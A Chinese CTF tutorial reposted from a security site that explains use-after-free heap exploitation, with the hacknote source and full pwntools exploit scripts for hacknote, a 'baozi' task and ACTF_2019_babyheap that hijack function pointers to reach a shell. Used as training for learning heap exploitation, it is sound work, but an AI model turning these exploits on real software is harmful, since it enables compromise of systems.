UAF漏洞利用

admin 2023年3月7日09:01:12评论15 views字数 7948阅读26分29秒阅读模式

UAF

原理

内存块被释放后,其对应的指针没有被设置为 NULL,然后再次申请我们精心的构造的内存块,就能够达到攻击的效果

程序源码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note { //结构体
void (*printnote)();
char *content;
};
struct note *notelist[5]; //结构体变量
int count = 0;
void print_note_content(struct note *this) { puts(this->content); }
void add_note() {
int i;
char buf[8];
int size;
if (count > 5) {
puts("Full");
return;
}
for (i = 0; i < 5; i++) {
if (!notelist[i]) {
notelist[i] = (struct note *)malloc(sizeof(struct note));
if (!notelist[i]) {
puts("Alloca Error");
exit(-1);
}
notelist[i]->printnote = print_note_content;
printf("Note size :");
read(0, buf, 8);
size = atoi(buf);
notelist[i]->content = (char *)malloc(size);
if (!notelist[i]->content) {
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, notelist[i]->content, size);
puts("Success !");
count++;
break;
}
}
}
void del_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
free(notelist[idx]->content);
free(notelist[idx]);
puts("Success");
}
}
void print_note() {
char buf[4];
int idx;
printf("Index :");
read(0, buf, 4);
idx = atoi(buf);
if (idx < 0 || idx >= count) {
puts("Out of bound!");
_exit(0);
}
if (notelist[idx]) {
notelist[idx]->printnote(notelist[idx]);
}
}
void magic() { system("cat flag"); }
void menu() {
puts("----------------------");
puts(" HackNote ");
puts("----------------------");
puts(" 1. Add note ");
puts(" 2. Delete note ");
puts(" 3. Print note ");
puts(" 4. Exit ");
puts("----------------------");
printf("Your choice :");
};
int main() {
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
char buf[4];
while (1) {
menu();
read(0, buf, 4);
switch (atoi(buf)) {
case 1:
add_note();
break;
case 2:
del_note();
break;
case 3:
print_note();
break;
case 4:
exit(0);
break;
default:
puts("Invalid choice");
break;
}
}
return 0;
}

利用结构体实现了在chunk的content内容下执行一个puts函数
然后再嵌套一个chunk

UAF漏洞利用

这里content内容存放的一个指针

uaf漏洞

UAF漏洞利用

free的是两个chunk,没有把两个指针free掉

存在后门函数

UAF漏洞利用

利用方式

1.申请 note0,real content size(申请的嵌套chunk的大小) 为 32 (0x20),输入的content为“aaaa” (0x4)(申请的嵌套chunk大小与 note 大小不同 ,所在的 bin 不一样即可)

UAF漏洞利用

2.申请 note1,real content size 为 32,输入的content为“bbbb”(大小与 note 大小所在的 bin 不一样即可

UAF漏洞利用

3.释放 note0,内存会进入fastbin中,且content chunk和note chunk会进入不同的位置
4.释放 note1

UAF漏洞利用

从这里可以看出fastbins储存最大的内存块就是0x40大小的chunk
还有就是申请的嵌套chunk的大小要与外层chunk大小不同就是为了free掉后分配到不同的fastbins的链表中
然后就是申请的chunk最后有个top chunk(135057)

链表的结构

UAF漏洞利用

5.申请 note2,并且设置 real content 的大小为 8,那么根据堆的分配规则:
note2 其实会分配 note1 对应的内存块。
real content 对应的 chunk 其实是 note0。

UAF漏洞利用

6.们这时候向 note2 real content 的 chunk 部分写入 magic 的地址,那么由于我们没有 note0 为 NULL。当我们再次尝试输出 note0 的时候,程序就会调用 magic 函数。

exp模板

from pwn import *

r = process('./hacknote')
def addnote(size, content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
#gdb.attach(r)
magic = 0x08048986
addnote(32, "aaaa") # add note 0
addnote(32, "bbbb") # add note 1
delnote(0) # delete note 0
delnote(1) # delete note 1
addnote(8, p32(magic)) # add note 2
printnote(0) # print note 0
r.interactive()

例题

南森招新赛-baozi

checksec

UAF漏洞利用

ida

从里面并没有找到定义的结构体,这也是正常现象
因为ida不能够还原所有代码
这样的话,在做堆题时,对C语言的要求就不是这么高了,通过调试或者经验就能得知chunk的结构
但如果想清晰地理解一个堆题还是需要加深对源码的理解

main

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[4]; // [esp+0h] [ebp-10h] BYREF
  unsigned int v5; // [esp+4h] [ebp-Ch]
  int *v6; // [esp+8h] [ebp-8h]

v6 = &argc;
v5 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
while ( 1 )
{
menu(); //菜单
read(0, buf, 4u);
v3 = atoi(buf);
if ( v3 == 4 )
exit(0);
if ( v3 > 4 )
{
LABEL_12:
puts("Invalid choice");
}
else
{
switch ( v3 )
{
case 3:
print_note(); //print chunk
break;
case 1:
add_note(); //malloc chunk
break;
case 2:
del_note(); //free chunk
break;
default:
goto LABEL_12;
}
}
}
}

具体的函数都是知道的

add(add+edit)

unsigned int add_note()
{
  int v0; // esi
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

v5 = __readgsdword(0x14u);
if ( count <= 5 )
{
for ( i = 0; i <= 4; ++i ) //申请次数
{
if ( !*((_DWORD *)&notelist + i) )
{
*((_DWORD *)&notelist + i) = malloc(8u);
//malloc chunk
if ( !*((_DWORD *)&notelist + i) )
{
puts("Alloca Error");
exit(-1);
}
**((_DWORD **)&notelist + i) = print_note_content; //chunk中content处的内容(free后fd指针的地址) 这里是

printf("Note size :");
read(0, buf, 8u);
size = atoi(buf);
v0 = *((_DWORD *)&notelist + i);
*(_DWORD *)(v0 + 4) = malloc(size);
//等同于*(*&notelist + i + 4 )=malloc(size)
//在content的第二单位内存的指针中申请chunk(相当于在free后的bk指针的地址处申请chunk)
if ( !*(_DWORD *)(*((_DWORD *)&notelist + i) + 4) )
{
puts("Alloca Error");
exit(-1);
}
printf("Content :");
read(0, *(void **)(*((_DWORD *)&notelist + i) + 4), size);
puts("Success !");
++count;
return __readgsdword(0x14u) ^ v5;
}
}
}
else
{
puts("Full");
}
return __readgsdword(0x14u) ^ v5;
}

delete

unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&notelist + v1) )
{
free(*(*(&notelist + v1) + 4));
//free掉镶嵌的chunk
free(*(&notelist + v1));
//free掉chunk
//没有free掉指针,所以存在uaf
puts("Success");
}
return __readgsdword(0x14u) ^ v3;
}

print

unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

v3 = __readgsdword(0x14u);
printf("Index :");
read(0, buf, 4u);
v1 = atoi(buf);
if ( v1 < 0 || v1 >= count )
{
puts("Out of bound!");
_exit(0);
}
if ( *(&notelist + v1) )
(**(&notelist + v1))(*(&notelist + v1));
//print_note_content()函数=puts(*(*(&notelist + v1) + 4))-->这里相当于fd位置为print_note_content函数,bk指针处为参数
//从add里面可以找出来
//**(&notelist + i) = print_note_content;
/*int __cdecl print_note_content(int a1){
return puts(*(a1 + 4));}*/
return __readgsdword(0x14u) ^ v3;
}

print_note_content

int __cdecl print_note_content(int a1)
{
  return puts(*(a1 + 4));
}

exp

from pwn import *

#p=remote("47.99.93.110",10001)
p=process('./pwn')
elf=ELF('./pwn')
context.log_level="debug"
def duan():
gdb.attach(p)
pause(0)
def add(size,content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Note size :")
p.sendline(str(size))
p.recvuntil("Content :")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
def show(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
bin_sh=0x602010
system=0x8049684
print(hex(system))
add(0x20,"aaaa")#0
add(0x20,"bbbb")#1
#duan()
delete(1)
delete(0)
duan()
add(0x8,p32(system) + p32(system))
#duan()
show(1)
p.interactive()

ACTF_2019_babyheap

ida

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_400907(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
sub_4009D2();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 2 )
break;
sub_400BAE();
}
if ( v3 == 3 )
{
sub_400C66();
}
else
{
if ( v3 != 1 )
sub_400D18();
sub_400A78();
}
}
}

修改后的ida

main

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // eax
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
sub_400907(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
menu();
read(0, buf, 8uLL);
v3 = atoi(buf);
if ( v3 != 2 )
break;
delete();
}
if ( v3 == 3 )
{
show();
}
else
{
if ( v3 != 1 )
exit_0();
add();
}
}
}

show

unsigned __int64 sub_400C66()
{
  int v1; // [rsp+Ch] [rbp-24h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+28h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("Please input list index: ");
read(0, buf, 4uLL);
v1 = atoi(buf);
if ( v1 >= 0 && v1 < dword_60204C )
{
if ( *(&ptr + v1) )
(*(*(&ptr + v1) + 1))(**(&ptr + v1));
//这里是执行函数,不过参数在函数体的前面
//也就是fd指针处为参数,bk指针处为函数体
}
else
{
puts("Out of bound!");
}
return __readfsqword(0x28u) ^ v3;
}

exp

from pwn import *
io=process('./pwn')
elf=ELF('./pwn')

context(os='linux',arch='amd64',log_level='debug')
def duan():
gdb.attach(io)
pause(0)
def add(size,content):
io.recvuntil('Your choice: ')
io.sendline(b'1')
io.recvuntil(b'Please input size: n')
io.sendline(str(size))
io.recvuntil('Please input content: n')
#io.sendline(content)
io.send(content)
def delete(index):
io.recvuntil('Your choice: ')
io.sendline(b'2')
io.recvuntil('Please input list index: n')
io.sendline(str(index))
def show(index):
io.recvuntil('Your choice: ')
io.sendline(b'3')
io.recvuntil('Please input list index: n')
io.sendline(str(index))
system=elf.plt['system']
#system=0x400A48
bin_sh=0x602010
add(0x20,"aaaa")#0
add(0x20,"bbbb")#1
#add(0x20,"cccc")
delete(1)
delete(0)
add(0x10,p64(bin_sh)+p64(system))
#add(0x10,p64(system)+p64(bin_sh))
show(1)
io.interactive()

来源先知社区的【F4atherw1t 师傅

注:如有侵权请联系删除

UAF漏洞利用

如需进群进行技术交流,请扫该二维码

UAF漏洞利用

原文始发于微信公众号(衡阳信安):UAF漏洞利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月7日09:01:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   UAF漏洞利用http://cn-sec.com/archives/1591025.html

发表评论

匿名网友 填写信息